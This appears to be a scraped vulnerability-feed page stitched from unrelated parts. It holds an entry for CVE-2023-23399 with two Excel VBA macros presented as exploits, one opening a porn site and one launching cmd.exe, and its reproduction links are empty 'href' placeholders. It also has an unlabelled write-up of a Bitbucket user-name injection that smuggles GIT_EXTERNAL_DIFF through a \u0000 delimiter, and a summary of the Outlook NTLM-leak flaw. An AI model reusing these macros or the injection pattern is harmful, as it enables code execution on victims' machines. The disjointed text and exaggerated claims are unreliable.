Activity Feed

CVE-2023-23399

Description:

The malicious user can exploit the victim’s PC remotely.
For example, when the score indicates that the Attack Vector is Local and User Interaction is Required, this could describe an exploit in which an attacker, through social engineering, convinces a victim to download and open a specially crafted file from a website which leads to a local attack on their computer.
In this case, the malicious excel file create a very dangerous shell execution file, and after the victim will execute it, his PC maybe will never wake up normally, it depends on the case, which is very nasty.

STATUS: HIGH Vulnerability

[+]Exploit0:

Sub Check_your_salaries()
CreateObject("Shell.Application").ShellExecute "microsoft-edge:https://pornhub.com/"
End Sub

[+]Exploit1:

Sub cmd()
Dim Program As String
Dim TaskID As Double
On Error Resume Next
Program = "cmd.exe"
TaskID = Shell(Program, 1)
If Err <> 0 Then
MsgBox "Can't start " & Program
End If
End Sub

Reproduce:

href

Proof and Exploit:

href

Proof and Exploit, danger example:

href

Time spend:

03:00:00

Upon creation of a new user or when an existing user changes their user name, some local environment variables are updated to reflect those changes. The functionality involved in making these changes uses the \u0000 character as a delimiter, allowing for injection of environment variables into the user name if input such as username\u0000ENV_VAR=VALUE is used. The GIT_EXTERNAL_DIFF environment variable will execute the script that it’s assigned to when git diff is called, which can occur by viewing a diff in a repository hosted with Bitbucket.

An attacker must be able to modify or set a user name in order to inject an environment variable and payload into it. Bitbucket appears to only allow users in the admin and sys admin groups this particular permission. In some cases, this vulnerability can be exploited without authentication through the allow public signup feature in Bitbucket, a non-default feature which permits account creation for anyone that has public access to the server. While this means an attacker has control over the user name and can consequently inject a payload into it, they cannot change the user name. This doesn’t bode well for attackers who want to evade detection.

Exploit attempts can be detected in various ways. Length restrictions on the user name make it difficult to drop anything other than a simple shell on the target, leading to multiple name change requests in the logs. Additionally, the user name, including the GIT_EXTERNAL_DIFF= string will appear in the logs and will remain on the site if exploited through the public signup option. Lastly, the GIT_EXTERNAL_DIFF environment variable will remain set if exploitation fails.

Microsoft reported having been notified by Cert-UA of a zero-day vulnerability in Outlook. This vulnerability was observed to be used by nation-state actors targeting Ukraine’s government, military, energy, and transport sector during Mid-April and December 2022.

By sending malicious Outlook notes and tasks, the attackers were able to steal NTLM hashes via NTLM negotiation requests by forcing the targets’ devices to authenticate to attacker-controlled SMB shares. These obtained credentials were used for lateral movement within the victim’s networks.

Attackers are able to craft an email that contains an extended MAPI property called PidLidReminderFileParameter for either a calendar appointment, note or task. This property can contain a remote UNC path to an SMB (TCP port 445) share on a threat actor-controlled server. The malicious email does not require any user interaction and the vulnerability can be triggered without either reading the email or viewing the email in preview mode, the vulnerability will be triggered automatically when the Outlook client receives and processes the email. Upon processing the malicious email, Outlook will access the UNC path to the attacker-controlled SMB share, which allows an attacker to perform an NTLM relay attack and access other internal systems.

CVE-2023-23397 impacts all supported versions of Microsoft Outlook for Windows but doesn’t affect Outlook for Android, iOS, or macOS versions.
Outlook on the web and Microsoft 365 do not support NTLM authentication and are not vulnerable to CVE-2023-23397